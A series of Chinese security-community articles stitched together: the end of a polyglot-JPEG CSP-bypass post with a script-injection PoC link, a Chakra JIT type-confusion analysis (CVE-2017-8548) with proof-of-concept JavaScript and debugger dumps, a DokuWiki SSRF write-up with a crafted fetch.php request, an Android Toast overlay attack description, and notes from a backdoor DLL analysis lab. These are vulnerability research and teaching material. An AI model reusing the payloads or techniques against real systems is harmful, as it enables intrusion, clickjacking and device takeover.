这是更小的图片：
[Polyglot JPEG smaller ](http://portswigger-labs.net/polyglot/jpeg/xss_within_header_compressed_small_logo.jpg)
### 影响
如果你允许用户上传 JPEG 图片，且这些上传的图片与你的应用程序在同一域下，你的 CSP 还允许来自 "self"
的脚本，你便可以通过注入脚本将其指向图像的方法绕过 CSP 。
### 结论
总而言之，如果你在你的站点上允许上传 JPEG 图片或者任何形式的文件，这值得将它们放在一个不同的域下。当验证一个 JPEG 时，你应该重写 JPEG
头，以确保其中没有偷偷放置的代码，并且删除 JPEG 注释。显然，你的 CSP 也不必将脚本的图片资源列入白名单。
如果没有[Ange Albertini](https://twitter.com/angealbertini)的出色工作，这篇文章就不会出现。我使用它的
[JPEG](https://raw.githubusercontent.com/corkami/pics/master/JPG.png)
格式图片创建了通用的多语义 JPEG 图片。[Jasvir Nagra](https://twitter.com/jasvir/) 也在 [多语义
GIF](http://www.thinkfu.com/blog/gifjavascript-polyglots) 上启发了我。
[PoC ](http://portswigger-labs.net/csp/csp.php?x=%3Cscript%20charset=%22ISO-8859-1%22%20src=%22http://portswigger-labs.net/polyglot/jpeg/xss.jpg%22%3E%3C/script%3E)
Enjoy - [@garethheyes](https://twitter.com/garethheyes)
* * * | 社区文章 |
# 【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
预估稿费：1000RMB
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](http://bobao.360.cn/news/detail/4370.html)
**）**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
这是Microsoft
Edge的javascript解析引擎Chakra的一个漏洞。这篇分析也是我这系列分析中的一部分，这一系列的漏洞虽然成因各有不同，但是我个人觉得在挖掘问题的思路上是一脉相承的。
这个漏洞与之前的几个相比比较特殊的是涉及到了代码的JIT，也就是发生了优化导致的问题。 此外这也是一个 **微软修了两次才修好的漏洞**
，韩国神童lokihardt第一次在16年12月经project zero上报了这个漏洞，编号为 **CVE-2017-0071**
。之后微软进行了错误的修补lokihardt在17年6月份再次上报了这个漏洞编号为 **CVE-2017-8548** 。
**漏洞概况**
lokihardt提供的POC如下
'use strict';
function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}
function main() {
let a = [1.1, 2.2];
let b = new Uint32Array(100);
for (let i = 0; i < 0x1000; i++)
func(a, b, {}); // <<---------- REPLACED
func(a, b, {valueOf: () => {
a[0] = {};
return 0;
}});
a[0].toString();
}
main();
执行POC后crash情况如下
return Merge(FromObject(RecyclableObject::FromVar(var)));
//其中var=0x1234,对0x1234转换RecyableObject导致crash
初步观察POC可以得知，func()被反复执行导致JIT，之后对JIT函数调用了用户定义的callback函数。
**漏洞调试**
首先简化POC进行调试，简化后POC如下：
function func(a, b, c) {
a[0] = 2.3023e-320;
b[0] = c;
a[0] = 2.3023e-320;
}
let a = [1.1];
let b = new Uint32Array(100);
for (let i = 0; i < 0x1000; i++)
func(a, b, {});
let func1 = function()
{
a[0] = {};
}
func(a, b,{valueOf:func1});
a[0];
crash发生在如下函数中,0x1234不满足TaggedInt和NoTaggedIntCheck因此会被当成对象指针进行
**RecyclableObject::FromVar(var)**
__inline ValueType ValueType::Merge(const Js::Var var) const
{
using namespace Js;
Assert(var);
if(TaggedInt::Is(var))
return Merge(GetTaggedInt());
if(JavascriptNumber::Is_NoTaggedIntCheck(var))
{
return
Merge(
(IsUninitialized() || IsLikelyInt()) && JavascriptNumber::IsInt32_NoChecks(var)
? GetInt(false)
: ValueType::Float);
}
return Merge(FromObject(RecyclableObject::FromVar(var)));
}
也就是说这里错误的把0x1234当作指针进行操作，在Chakra中发生这种情况一般都是类型混淆导致的。
**JIT分析**
首先通过调试获取POC中func函数JIT之后的代码片断如下
000001E5B5440172 lea rax,[rsi-108890h] <=== 1
000001E5B5440179 cmp qword ptr [r15],rax //check vtable
000001E5B544017C jne 000001E5B5440498
000001E5B5440182 test byte ptr [r15+18h],4
000001E5B5440187 je 000001E5B54404CE
000001E5B544018D mov rax,qword ptr [r15+28h] //rax=segment
000001E5B5440191 mov ecx,dword ptr [rax+4] //ecx=size
000001E5B5440194 cmp ecx,0 //check size
000001E5B5440197 jle 000001E5B54404E8
000001E5B544019D movsd xmm6,mmword ptr [rdi+2CB0h] //0x1234
000001E5B54401A6 movsd mmword ptr [rax+18h],xmm6 //a[0] = 2.3023e-320
000001E5B54401AC mov rcx,r14
000001E5B54401AF shr rcx,30h
000001E5B54401B3 jne 000001E5B5440538
000001E5B54401B9 cmp qword ptr [r14],rsi
000001E5B54401BC jne 000001E5B5440538
000001E5B54401C2 cmp dword ptr [r14+20h],0
000001E5B54401C7 jle 000001E5B5440556
000001E5B54401CD mov rsi,qword ptr [r14+38h]
000001E5B54401D1 mov rcx,r13
000001E5B54401D4 mov rdx,rcx
000001E5B54401D7 shr rdx,30h
000001E5B54401DB cmp rdx,1
000001E5B54401DF jne 000001E5B544058A //JavascriptMath::ToInt32
000001E5B54401E5 mov ecx,ecx
000001E5B54401E7 mov dword ptr [rsi],ecx
000001E5B54401E9 movsd mmword ptr [rax+18h],xmm6
000001E5B54401EF mov rax,qword ptr [rbx-48168h]
000001E5B54401F6 cmp rax,qword ptr [rdi+400h]
000001E5B54401FD jne 000001E5B54405F6
000001E5B5440203 mov rsi,qword ptr [r12+0E8h]
000001E5B544020B mov rax,rsi
000001E5B544020E shr rax,30h
000001E5B5440212 jne 000001E5B544064D
000001E5B5440218 mov rax,qword ptr [rsi+8]
000001E5B544021C cmp rax,rbx
000001E5B544021F jne 000001E5B5440669
000001E5B5440225 mov rcx,qword ptr [rsi+10h]
000001E5B5440229 mov rbx,qword ptr [rcx+8]
000001E5B544022D mov rax,rbx
000001E5B5440230 shr rax,30h
000001E5B5440234 jne 000001E5B54406ED
000001E5B544023A mov rax,qword ptr [rbx+8]
000001E5B544023E cmp rax,qword ptr [rdi+2B0h]
000001E5B5440245 jne 000001E5B54406C8
000001E5B544024B mov rcx,qword ptr [rbx+10h]
000001E5B544024F mov rsi,qword ptr [rcx+28h]
000001E5B5440253 mov rax,rsi
000001E5B5440256 shr rax,30h
000001E5B544025A jne 000001E5B5440749
000001E5B5440260 mov rax,qword ptr [rsi+8]
000001E5B5440264 cmp rax,qword ptr [rdi]
000001E5B5440267 jne 000001E5B5440727
在1处r15的值指向一个JavascriptNativeFloatArray对象。
JIT代码中首先会验证r15指向的对象是否是一个合法的JavascriptNativeFloatArray对象，方法就是通过比较虚表地址。之后取出Array中的Segment，验证Segment的size域来查看Segment能否容纳元素，之后直接写入新的元素0x1234。
000001E5B544019D movsd xmm6,mmword ptr [rdi+2CB0h] //0x1234
000001E5B54401A6 movsd mmword ptr [rax+18h],xmm6 //a[0] = 2.3023e-320
在执行向Uint32Array写入时，因为poc中传递给func的参数是func1，因此它不属于TaggedInt
000001E5B54401D1 mov rcx,r13
000001E5B54401D4 mov rdx,rcx
000001E5B54401D7 shr rdx,30h
000001E5B54401DB cmp rdx,1
000001E5B54401DF jne 000001E5B544058A //JavascriptMath::ToInt32
因而会跳转到0x00001E5B544058A调用 **JavascriptMath::ToInt32** 试图做一个转化。
在这个函数过程中，用户定义的func1函数就会被执行，具体情况见下面。
在下面的调用栈中，000001fdd74905a7是JIT代码，JIT代码中经过上面说过的判断调用了JavascriptMath::ToInt32,而最后流程会执行到ExecuteImplicitCall去调用用户callback函数。
ThreadContext::ExecuteImplicitCall
DynamicObject::CallToPrimitiveFunction
DynamicObject::ToPrimitiveImpl
DynamicObject::ToPrimitive
JavascriptConversion::OrdinaryToPrimitive
JavascriptConversion::MethodCallToPrimitive
JavascriptConversion::ToPrimitive
JavascriptConversion::ToInt32_Full
JavascriptMath::ToInt32_Full
JavascriptMath::ToInt32
000001fdd74905a7()
我们在之前的漏洞分析中说过对JavascriptNativeFloatArray数组添加一个非float值(比如对象)会导致数组转化为JavascriptArray，比如poc中的用户callback：
let func1 = function()
{
a[0] = {};
}
但是之前没有详细叙述过这个过程，这里描述一下数组类型转变的过程。
**NativeFloatArray的转化**
首先我们对JavascriptNativeFloatArray的赋值操作会调用到
**JavascriptNativeFloatArray::SetItem**
BOOL JavascriptNativeFloatArray::SetItem(uint32 index, Var value, PropertyOperationFlags flags)
{
double dValue;
TypeId typeId = this->TrySetNativeFloatArrayItem(value, &dValue);
if (typeId == TypeIds_NativeFloatArray)
{
this->SetItem(index, dValue);
}
else
{
this->DirectSetItemAt(index, value);
}
return TRUE;
}
注意这个函数首先调用 **TrySetNativeFloatArrayItem** 。然后根据返回结果的Type_Id不同调用不同的赋值函数。
当返回的TypeId是NativeFloatArray时，调用 **JavascriptNativeFloatArray::SetItem**
当返回的TypeId是JavascriptArray时，调用 **JavascriptArray::DirectSetItemAt <Var>**
而负责判断值类型的函数 **JavascriptNativeFloatArray::TrySetNativeFloatArrayItem**
，当发现要设置的值不属于NativeFloatArray应该储存的范畴时，会进行转化，如下所示
TypeId JavascriptNativeFloatArray::TrySetNativeFloatArrayItem(Var value, double *dValue)
{
if (TaggedInt::Is(value))
{
*dValue = (double)TaggedInt::ToInt32(value);
return TypeIds_NativeFloatArray;
}
else if (JavascriptNumber::Is_NoTaggedIntCheck(value))
{
*dValue = JavascriptNumber::GetValue(value);
return TypeIds_NativeFloatArray;
}
JavascriptNativeFloatArray::ToVarArray(this); // <=== 转化
return TypeIds_Array;
}
之后的操作包括转化Array中已有的元素、更改虚表、设置新的Type Object等。
这些操作具体是在JavascriptNativeFloatArray::ToVarArray的子函数JavascriptNativeFloatArray::ConvertToVarArray中实现的。
//转化Array中的元素
int32 ival;
double dval = ((SparseArraySegment<double>*)seg)->elements[i];
if (JavascriptNumber::TryGetInt32Value(dval, &ival) && !TaggedInt::IsOverflow(ival))
{
newSeg->elements[i] = TaggedInt::ToVarUnchecked(ival);
}
else
{
newSeg->elements[i] = JavascriptNumber::ToVarWithCheck(dval, scriptContext);
}
...
//设置新的Type Object
fArray->GetType()->SetTypeId(TypeIds_Array);
...
//更改虚表
Assert(VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(fArray));
VirtualTableInfo<JavascriptArray>::SetVirtualTable(fArray);
...
在进行转化前，Array内存如下
0x000001CA96B00660 00007ffd6f13f150 P?.o?...
0x000001CA96B00668 000001ca96ad9140 @????...
0x000001CA96B00670 0000000000000000 ........
0x000001CA96B00678 0000000000010005 ........
0x000001CA96B00680 0000000000000001 ........
0x000001CA96B00688 000001ca96b006a0 ?.???...
0x000001CA96B00690 000001ca96b006a0 ?.???...
0x000001CA96B00698 000001c295048930 0?.??...
0x000001CA96B006A0 0000000100000000 ........
0x000001CA96B006A8 0000000000000001 ........
0x000001CA96B006B0 0000000000000000 ........
0x000001CA96B006B8 0000000000001234 4.......
可以看到0x000001CA96B00660为NativeFloatArray虚表，0x00001ca96ad9140是指向Type对象的指针，0x00001ca96b006a0为segement指针，segment的size和length皆为1。
在进行转化之后内存的内容变化如下：
0x000001CA96B00660 00007ffd6f13e1d8 ??.o?...
0x000001CA96B00668 000001ca96ad8fc0 ?????...
0x000001CA96B00670 0000000000000000 ........
0x000001CA96B00678 0000000000010005 ........
0x000001CA96B00680 0000000000000001 ........
0x000001CA96B00688 000001ca96b006a0 ?.???...
0x000001CA96B00690 000001ca96b006a0 ?.???...
0x000001CA96B00698 0000000000000000 ........
0x000001CA96B006A0 0000000100000000 ........
0x000001CA96B006A8 0000000000000001 ........
0x000001CA96B006B0 0000000000000000 ........
0x000001CA96B006B8 000001ca96b753e0 ?S???...
可以看到vtable、TypeId、element[0]都发生了改变，其中vtable是从
**JavascriptNativeFloatArray::vtable** 变成了 **JavascriptArray::vtable**
。对象的类型也从JavascriptNativeFloatArray变成JavascriptArray。
原来的Type对象如下所示，0x1f是原来的id值，对应的宏定义是 **TypeIds_NativeFloatArray**
0x0000026AFD659140 000000000000001f ........
0x0000026AFD659148 0000026afd668000 .€f?j...
0x0000026AFD659150 0000026afd67c000 .?g?j...
0x0000026AFD659158 00007ffd6e97d480 €??n?...
0x0000026AFD659160 0000000000000000 ........
0x0000026AFD659168 0000026afd659100 .?e?j...
0x0000026AFD659170 0000000000000101 ........
0x0000026AFD659178 0000000000000000 ........
0x0000026AFD659180 00007ffd6f2ee9d0 ??.o?...
0x0000026AFD659188 0000000000001d11 ........
0x0000026AFD659190 0000000000000001 ........
0x0000026AFD659198 0000026afd674000 ........
新的Type对象如下所示，0x1f是新的id值，对应的宏定义是TypeIds_Array
0x0000026AFD658FC0 000000000000001c ........
0x0000026AFD658FC8 0000026afd668000 .€f?j...
0x0000026AFD658FD0 0000026afd67c000 .?g?j...
0x0000026AFD658FD8 00007ffd6e97d480 €??n?...
0x0000026AFD658FE0 0000000000000000 ........
0x0000026AFD658FE8 0000026afd658f80 €?e?j...
0x0000026AFD658FF0 0000000000000101 ........
0x0000026AFD658FF8 0000000000000000 ........
0x0000026AFD659000 00007ffd6f2ee9d0 ??.o?...
0x0000026AFD659008 0000000000001d11 ........
0x0000026AFD659010 0000000000000001 ........
0x0000026AFD659018 0000026afd674000 .@g?j...
**漏洞成因**
我们回过头再来看一下JIT代码，其实可以分为三段。
function func(a, b, c) {
a[0] = 2.3023e-320; //<===1
b[0] = c; //<===2
a[0] = 2.3023e-320; //<===3
}
第一段，对应于func中的1
代码首先验证Array的类型是否为JavascriptNativeArray，之后验证segement是否可以容纳元素，之后就是进行赋值
0000019DA4D7016E lea rax,[rsi-108890h]
0000019DA4D70175 cmp qword ptr [r15],rax //check vtable
0000019DA4D70178 jne 0000019DA4D70494
0000019DA4D7017E test byte ptr [r15+18h],4
0000019DA4D70183 je 0000019DA4D704CC
0000019DA4D70189 mov rax,qword ptr [r15+28h] //rax=segment
0000019DA4D7018D mov ecx,dword ptr [rax+4] //ecx=size
0000019DA4D70190 cmp ecx,0 //check size
0000019DA4D70193 jle 0000019DA4D704E6
0000019DA4D70199 movsd xmm6,mmword ptr [rdi+2CC0h]
0000019DA4D701A2 movsd mmword ptr [rax+18h],xmm6
0000019DA4D701A8 mov rcx,r14
0000019DA4D701AB shr rcx,30h
0000019DA4D701AF jne 0000019DA4D70536
0000019DA4D701B5 cmp qword ptr [r14],rsi
0000019DA4D701B8 jne 0000019DA4D70536
0000019DA4D701BE cmp dword ptr [r14+20h],0
0000019DA4D701C3 jle 0000019DA4D70550
此时内存数据如下:
0x00000205F8280660 00007ffd6f13f150 P?.o?...
0x00000205F8280668 00000205f8259140 @?%?....
0x00000205F8280670 0000000000000000 ........
0x00000205F8280678 0000000000010005 ........
0x00000205F8280680 0000000000000001 ........
0x00000205F8280688 00000205f82806a0 ?.(?....
0x00000205F8280690 00000205f82806a0 ?.(?....
0x00000205F8280698 00000205f6818930 0???....
0x00000205F82806A0 0000000100000000 ........
0x00000205F82806A8 0000000000000001 ........
0x00000205F82806B0 0000000000000000 ........
0x00000205F82806B8 0000000000001234 4.......
第二段，对应于func中的2 代码验证了值的类型，并调用JavascriptMath::ToInt32，注意正是这里调用了用户callback
0000019DA4D701C9 mov rsi,qword ptr [r14+38h]
0000019DA4D701CD mov rcx,r13
0000019DA4D701D0 mov rdx,rcx
0000019DA4D701D3 shr rdx,30h
0000019DA4D701D7 cmp rdx,1
0000019DA4D701DB jne 0000019DA4D70584
0000019DA4D704E6 mov dword ptr [rdi+2D84h],20000h
0000019DA4D704F0 lea rcx,[rdi-831A8h]
0000019DA4D704F7 mov qword ptr [rdi+2DA0h],rcx
0000019DA4D704FE mov rcx,195A4AF60B8h
0000019DA4D70508 mov rax,7FFD74DBBF10h
0000019DA4D70512 call rax //JavascriptMath::ToInt32
0000019DA4D70515 jmp 0000019DA4D7028B
此时内存数据如下:
0x00000205F8280660 00007ffd6f13e1d8 ??.o?...
0x00000205F8280668 00000205f8258fc0 ??%?....
0x00000205F8280670 0000000000000000 ........
0x00000205F8280678 0000000000010005 ........
0x00000205F8280680 0000000000000001 ........
0x00000205F8280688 00000205f82806a0 ?.(?....
0x00000205F8280690 00000205f82806a0 ?.(?....
0x00000205F8280698 0000000000000000 ........
0x00000205F82806A0 0000000100000000 ........
0x00000205F82806A8 0000000000000001 ........
0x00000205F82806B0 0000000000000000 ........
0x00000205F82806B8 00000205f82f53e0 ?S/?....
可以观察到此时vtable、Type Object指针已经改变，说明此对象已经成为JavascriptArray。
注意0x00000205F82806B8处的值已经由0x000000000001234变成0x0000205f82f53e0。
而0x0000205f82f53e0其实就是callback中赋予Array的对象，证明如下:
0x00000205F82F53E0 00007ffd6f13af00 .?.o?...
0x00000205F82F53E8 00000205f825a180 //Type Object
0x00000205F825A180 000000000000001b ........ //TypeIds_Object = 27
0x00000205F825A188 00000205f8268000 .€&?....
0x00000205F825A190 00000205f8244120 A$?....
第三段，对应于func中的3
此时执行第三次赋值操作，如果你仔细观察与第一段的区别可能就会意识到这个漏洞成因了。此时，在进行赋值操作前并没有对目标Array的类型和segment的属性做任何的验证，而是选择了直接赋值。这就执行导致了把0x1234这样一个对于JavascriptArray来说是完全非法的值(JavascriptArray中应储存TaggedInt或NoTaggedInt)，从而造成了一个类型混淆。
0000019DA4D704E6 mov dword ptr [rdi+2D84h],20000h
0000019DA4D704F0 lea rcx,[rdi-831A8h]
0000019DA4D704F7 mov qword ptr [rdi+2DA0h],rcx
0000019DA4D704FE mov rcx,195A4AF60B8h
0000019DA4D70508 mov rax,7FFD74DBBF10h
0000019DA4D70512 call rax
0000019DA4D70515 jmp 0000019DA4D7028B
总结一下，JIT代码生成的func函数时仅在第一次赋值前对目标Array进行了类型验证，这就导致了一旦在中途Array类型发生了改变，在第二赋值时就会发生类型混淆。
而在没有JIT的情况下，每次执行函数都由bytecode进行解释执行，调用相关的SetItem函数因而不会发生类型混淆。
**参考链接**
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1316&can=1&q=lokihardt%40google.com](https://bugs.chromium.org/p/project-zero/issues/detail?id=1316&can=1&q=lokihardt%40google.com)
<https://github.com/Microsoft/ChakraCore/pull/2697/commits/ff21352270c174ea21606369432909fcb1d9a0e9>
<https://github.com/Microsoft/ChakraCore/pull/3166/commits/cd60f3b5c35592006caae7730760a7980857990c> | 社区文章 |
作者： **baolongniu** of Tencent Security Platform Department
### 关于DokuWiki
DokuWiki是一个开源wiki引擎程序，运行于PHP环境下。DokuWiki程序小巧而功能强大、灵活，适合中小团队和个人网站知识库的管理。
### 漏洞简介
DokuWiki最新 2016-06-26a版本存在一个SSRF漏洞，当DokuWiki
fetch.php允许下载外部资源时（fetchsize不为零），外部攻击者可以通过猜解tok绕过安全验证，请求服务器内网资源。
### 漏洞分析
DokuWiki fetch.php文件允许下载外部文件，外部文件地址传递给参数media，但是在请求时候有tok安全校验，请求如下：
`/dokuwiki/lib/exe/fetch.php?media=http://192.168.141.128:80/test.php?test.jpg&tok=0f35df`
安全校验在checkFileStatus()函数中，如图：
由上图中可见，tok安全校验就是把`$media`、`$width`（不传递值为空）和`$height`（不传递值为空）三个变量在media_get_token()函数中计算一下，然后把结算结果和tok参数比对，只有比对一致才能通过校验，继续看media_get_token()函数，如图：
由上图中可见，media_get_token()函数把width和token变量）返回。继续看auth_cookiesalt()函数，如图：
由上图中可见，`auth_cookiesalt()`的函数值是由DokuWiki
_htcookiesalt2文件存储的盐值，再拼接`session_id()`函数构成的。
`auth_cookiesalt()`函数使用`session_id()`函数生成salt是不安全的，在最新php版本中`session_id()`函数存在一个bug（低版本php不存在），构造如下代码：
<?php
session_name("niubl");
session_start();
var_dump(session_id());
直接请求test.php文件返回：
设置Cookie参数niubl值为http://192.168.141.128:80/test.php?test.jpg ，再次请求：
由上图中可见，php发现Cookie参数niubl值中含有非法字符，但是php并没有重新生成session_id，导致传入的非法字符仍然可用，被`var_dump()`函数打印了出来。
`auth_cookiesalt()`函数使用`session_id()`函数生成salt，现在`session_id()`函数外部可控，且可以接收非法字符串，那么我们找一出使用依赖`auth_cookiesalt()`函数生成数值的代码，就可以推测_htcookiesalt2了。
上图中getSecurityToken()是用来产生CSRF token的函数，CSRF
token广泛出现在表单中，他的实现和`media_get_token()`函数类似，只是`PassHash::hmac()`函数第二个参数换成了`session_id()`加`$INPUT->server->str('REMOTE_USER')，$INPUT->server->str('REMOTE_USER')`变量在不传递参数的时候值为空，那么我们可以通过传递`session_id()`为fetch.php的media参数，这时`getSecurityToken()`函数就生成了我们进行SSRF攻击时需要校验的tok。`getSecurityToken()`函数广泛用表单token中，测试：
上图中，传递Cookie参数DokuWiki值http://192.168.141.128:80/test.php?test.jpg
，生成sectok值0f35dfabdb3fb00c4de06facec6c2d43
，他的前6位0f35df就是我们进行SSRF攻击时需要校验的tok值，验证：
### 漏洞修复
php的bug（ https://bugs.php.net/bug.php?id=73860
）已经反馈给php官方开发团队，开发人员认为这个bug导致的漏洞是因为webapp使用了sessiond_id
生成salt，依赖session_id生成salt是不合理的，目前该bug仍未被确认。
* * * | 社区文章 |
# 【技术分享】Android Toast Overlay攻击：无需任何权限的“Cloak and Dagger”
|
##### 译文声明
本文是翻译文章，文章来源：appscan.io
原文地址：<http://appscan.io/discover-detail.html?id=5907016>
译文仅供参考，具体内容表达以及含义原文为准。
**简介**
****
Palo Alto Networks公司Unit 42实验室研究人员在Android
overlay系统中发现一个高危漏洞，它允许使用"Toast类型"叠加层，可以发起新型的Android
overlay攻击。所有OS版本<8.0的Android设备都受到这个漏洞的影响，在[2017年9月份Android安全公告](https://source.android.com/security/bulletin/2017-09-01)中发布了该漏洞的补丁。Android
8.0版本刚刚发布，不受此漏洞的影响。正因为Android
8.0刚刚发布，所以这个漏洞几乎影响到目前市面上所有的Android设备(见表1)，用户应尽快更新补丁。
Overlay攻击允许攻击者在受影响的设备上运行其他窗口和应用程序。要发起这样的攻击，恶意软件通常需要请求“draw on
top”权限。然而，这个新发现的overlay攻击不需要任何特定的权限或条件才有效。发起此攻击的恶意软件不需要拥有overlay权限,或者从谷歌市场下载安装。利用这种新的overlay攻击方式，恶意软件可以诱使用户启用Android可访问性服务，并授予设备管理员权限或执行其他危险的操作。如果这些权限被授予，那么就可以在设备上发起一系列强大的攻击，包括窃取证书、静默安装应用程序，以及为了勒索赎金将设备锁定。
这项研究的灵感来自于“[Cloak and Dagger: From Two Permissions to Complete Control of the
UI Feedback
Loop](http://iisp.gatech.edu/sites/default/files/documents/ieee_sp17_cloak_and_dagger_final.pdf)”。这篇论文于2017年5月在IEEE
Security & Privacy
2017年会议上发表。论文中提出了几种创新的可访问性攻击方法，但前提是恶意应用程序必须显式请求两个特殊权限，并从谷歌商店中下载安装。我们的新研究表明，即使应用程序不是来自谷歌商店，而且只声明了一个权限“
**BIND_ACCESSIBILITY_SERVICE** ”，也可以成功地启动本文中提到的可访问性攻击。
与“Cloak and Dagger”一样，这种overlay攻击通过修改屏幕的区域来改变用户看到的内容，诱使用户授予额外的权限或识别输入内容。
这种攻击的演示视频地址：
该漏洞被收录为CVE-2017-0752，并在今年9月份的Android安全公告中披露。
**一、无条件Overlay攻击**
****
**利用Toast进行新型overlay攻击**
“Toast”窗口( **TYPE_TOAST** )是Android上支持的overlay类型之一。Toast
overlay通常用来在所有其他应用程序上显示一个快讯。例如，当用户未发送邮件，邮件自动保存为草稿时会有一个消息提示。它继承了其他windows类型的所有配置选项。然而，我们的研究发现，使用Toast窗口作为一个覆盖窗口，允许应用程序在另一个应用程序的界面上写入，而不需要特殊请求SYSTEM_ALERT_WINDOW权限。
这个发现允许一个安装的应用程序在屏幕上用一个Toast窗口制作一个覆盖层。通过这种方式，应用程序可以在没有任何特殊权限的情况下启动overlay攻击。精心制作的overlay包括两种类型的视图(图1)，它们都被嵌入在Toast窗口中。在下面的示例中，view1覆盖了底部的GUI，并监视用户单击行为以推断攻击的进展，而view2是一个可点击的视图，攻击者试图引诱受害者点击。
图1 使用Toast窗口制作一个overlay
**Android OS <= 7.0**
此漏洞是由于缺少权限检查造成的。在Android的AOSP相关代码段（版本<=
7）中可以看到，是如图2所示。通常，将窗口覆盖在其他应用程序的顶部需要进行权限检查和操作检查。然而，在TYPE_TOAST案例中，那些检查并不到位。请求将自动被授予。根据图2中的注释，该应用程序将被授予对TYPE_TOAST窗口的完全控制权。
图2 TYPE_TOAST未进行权限检查
**Android OS 7.1**
Android 7.1引入了两层缓解措施：一次超时和每个UID的单个toast窗口（见表1）。
第一个缓解强制为每个Toast窗口分配最大超时（3.5秒）（图3）。 超时后，Toast窗口将消失，以模拟Android上的正常Toast行为。
z毫无意外，这可以被故意设计的重复弹出的Toast窗口击破。对于第二次缓解，Android 7.1只允许每个应用程序一次显示一个Toast窗口（图4）。
这两种防御机制对使用Toast窗口发动overlay攻击欺骗受害者构成了挑战。
但是，它并没有解决基本原因：应用程序不需要任何权限在任何其他应用程序之上显示Toast窗口。
图3 Toast窗口超时缓解措施（缓解措施1）
图4 每个UID允许一个Toast窗口（缓解措施2）
对于Android
7.1版本，想要达到同样的overlay攻击，恶意软件需要利用LooperThread去不停地展示Toast窗口（图5）。但是在同一时间，只有一个overlay可以使用，所以，恶意程序无法监控用户是否淡季了覆盖区域中的预期区域。另一种方法是展示一个overlay，诱导用户去单击它，休眠几秒钟，然后切换到另外的一个overlay进行其他的步骤。显然，通过这种缓解措施，overlay攻击的成功几率微乎甚微。这种方法同样适用于Android2.3.7~4.3。因为在上述版本中，Toast窗口中移除了FLAG“FLAG_WATCH_OUTSIDE_TOUCH”（图6）。
图5 利用循环绕过超时缓解
图6 版本2.3.7~4.3中移除了FLAG_WATCH_OUTSIDE_TOUCH
表1 各个Android版本中的overlay攻击缓解措施
**二、可能的后续overlay攻击**
通过上面描述的漏洞，“Cloak and
Dagger”中涉及的所有可访问性攻击都可以成功执行。此外，我们还演示了一些实际使用TYPE_TOAST浮动窗口的攻击。
**通过设备管理员进行攻击**
通过overlay攻击，一个已安装的恶意应用程序可以欺骗用户授权app设备管理员权限。有了这个，它就有能力发动破坏性的攻击，包括:
**锁定设备的屏幕**
**重置设备PIN**
**清除设备的数据**
**阻止用户卸载App**
恶意软件变体已经发动了这种攻击。如图7所示，该恶意软件呈现“安装完成”对话框，并带有“Continue”按钮。然而，这个对话框实际上是一个TYPE_SYTEM_OVERLAY窗口，其中有设备管理员激活对话框。Android
API文档中描述，TYPE_SYSTEM_OVERLAY的描述是“系统覆盖窗口，显示在其他所有东西之上”和“这些窗口不能接收输入焦点”。因此，一旦用户单击“Continue”按钮，单击事件实际上被发送到真实设备管理员激活窗口的“激活”按钮。
使用TYPE_TOAST窗口的攻击也实现了这一点，将视图flag设置为FLAG_NOT_FOCUSABLE和FLAG_NOT_TOUCHABLE，我们可以在没有任何特殊权限的情况下发起类似的攻击。
图7 Android恶意软件使用点击劫持overlay来激活设备管理员
**三、恶意锁屏和勒索软件攻击**
Android恶意锁屏和勒索软件已经在黑市流行很多年了。大多数Android 勒索软件通过以下方法实现屏幕锁定：
**SYSTEM_ALERT_WINDOW**
：一个带有这个权限的Android应用程序可以在任何其他应用程序的顶部显示一个浮动窗口。通过设置适当的窗口类型和视图标志，例如，TYPE_SYSTEM_ERROR、TYPE_SYSTEM_OVERLAY和FLAG_FULLSCREEN，这种浮动窗口将无法被用户移动。这种技术可以阻止用户访问他们的设备。
**设备管理员** ：使用此特权的Android应用程序可以重置屏幕密码，然后锁定设备屏幕。如果屏幕被锁定，PIN被重置，受害者的设备就和板砖一样了。
我们不需要任何额外的权限，使用TYPE_TOAST类型窗口和默认的视图标志，通过显示全屏的浮动窗口就实现屏幕锁定的效果，而这种窗口无法被用户移动。虽然在Android
7.1上有一个时间限制来显示TYPE_TOAST窗口，但是我们可以像前面介绍的那样，可以在一个循环中不断弹出Toast窗口进行绕过。因此，我们可以绕过Android
7.1的限制。 | 社区文章 |
# 目标
1.鉴定黑白
2.详细静态分析，根据基础静态分析判定的结果，来详细分析样本的行为
# 原理
通过IDA阅读反汇编和伪代码，分析样本行为
# 实践过程
Lab05-01.dll
## 基础静态分析
### VT检测
* 黑样本
58/68检出率，判定为黑样本。
* 后门
根据VT上众多扫描引擎的病毒名，判断为后门样本
鉴定黑白后，进行对样本恶意行为进行进一步分析
### 信息收集
信息类型 | 内容
---|---
时间戳 | Mon Jun 09 20:49:29 2008
文件类型 | 32位GUI型DLL文件
壳特征 | 未加壳
从收集到的信息上看，是一款比较老的DLL恶意文件
### 简单行为分析
1. 监控登陆窗口，记录登陆用户名密码
根据导入表函数：`OpenDesktopA、SetThreadDesktop等`和字符串表中的`Winlogon`，在线搜索发现相关API和字符可以实现这样的功能
2. 枚举盘符
`GetLogicalDrives、GetDriveTypeA`，根据这些API可以知道
3. 获取计算机信息
`GetVersionExA、GetComputerNameA`
4. 创建服务，修改服务等操作
`CreateServiceA、RegisterServiceCtrlHandlerA、StartServiceA等`
5. 文件操作，遍历、复制、删除等
`WriteFile、CopyFileA、MoveFileExA、DeleteFileA、FindNextFileA FindFirstFileA`
6. Socket连接
`recv、send、connect、ntohs、htons`
7. DLL注入
`CreateToolhelp32Snapshot、Process32First、Process32Next、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread`
8. 命令执行
`WinExec、Sleep`
9. 注册表
* 设置IE浏览器路径`SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE`
* 服务配置`SYSTEM\CurrentControlSet\Services\`等
* 获取设备信息`HARDWARE\DEVICEMAP\VIDEO`
10. 反虚拟机
`Found Virtual Machine,Install Cancel.`
11. HTTP、FTP
anonymous
FTP://
ftp://
Content-Length:
HTTP/1.1 5
HTTP/1.1 3
HTTP/1.1 4
Expires: 0
Cache-Control: no-cache, must-revalidate
